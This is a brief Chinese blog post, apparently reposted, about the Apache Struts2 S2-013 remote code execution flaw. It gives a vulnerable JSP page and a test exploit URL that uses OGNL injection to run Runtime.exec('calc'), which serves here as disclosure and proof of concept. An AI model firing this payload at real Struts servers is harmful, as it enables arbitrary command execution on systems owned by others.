Struts2再爆远程代码执行漏洞

http://www.0day5.com/?p=569

摘要
Apache官方的struts2产品，最近出了一个远程代码执行漏洞，编号“S2-013”，目前是0DAY，官方没有修补方案出现。
http://struts.apache.org/development/2.x/docs/security-bulletins.html — （公告）
官方安全公告给出了编号和简要介绍，“A vulnerability, present in the includeParams attribute of the URL and Anchor Tag, allows remote command execution”。
但是并没有说原理，也没有发布任何补丁。

s.jsp:
Java代码

?

1 2 3

<%@ page language= "java" import= "java.util.*" pageEncoding= "utf-8" %> <%@ taglib prefix= "s" uri= "/struts-tags" %> <s:a includeParams= "all" >Click here.</s:a>

测试EXP:

?

1	http: //admin-pc:8080/Struts2/s.jsp?a=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Runtime@getRuntime().exec('calc')}